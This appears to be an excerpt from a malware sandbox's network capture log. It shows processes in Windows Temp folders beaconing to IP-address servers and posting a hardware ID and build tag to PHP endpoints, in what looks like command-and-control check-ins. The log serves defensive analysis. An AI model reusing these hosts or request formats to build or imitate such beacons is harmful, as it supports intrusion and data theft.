Oct 24, 2024 19:30:51.621474981 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:52.530056953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50047	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:54.145533085 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:55.056632996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50048	185.215.113.37	80	5296	C:\Users\user\AppData\Local\Temp\1001245001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:55.608117104 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:30:56.527148008 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:30:56.556495905 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="hwid"A48588DEC639786254513------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="build"doma------KEGCFCAKFHCGCBFHCGHD--
Oct 24, 2024 19:30:56.841474056 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50049	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:57.137105942 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:58.023788929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50054	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:59.904911995 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:31:01.152666092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 19:31:01.153767109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 19:31:01.162698984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	50061	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:01.172230005 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:01.879959106 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82728 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:01.915676117 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:02.043654919 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82728 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:02.589526892 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:02.717058897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82729 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:03.227368116 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:03.355230093 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82730 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:08.880450010 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:09.008279085 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82735 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	50068	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:01.922605991 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	50073	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:02.073714972 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:02.681371927 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85915 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 19:31:02.721028090 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:02.849338055 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85915 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 19:31:03.360726118 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:03.487948895 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85916 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 19:31:09.012089014 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:31:09.139156103 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85922 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50076	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:02.885727882 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:31:03.779949903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	50078	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:06.364372969 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:31:08.264640093 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:31:08.265055895 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:31:08.265654087 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:31:08.265780926 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:31:08.267921925 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="hwid"A48588DEC639786254513------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="build"doma------BFBGDGIDBAAEBFHJKJDG--
Oct 24, 2024 19:31:08.556698084 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:31:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50077	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:06.364762068 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:31:08.264611959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 19:31:08.265038967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 19:31:08.265233994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 24, 2024 19:31:08.265765905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50080	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:09.911264896 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:31:10.812704086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50081	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:12.541342974 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:31:13.467195034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50089	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:31:17.856122971 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:31:18.464237928 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82745 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:31:18.482511997 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
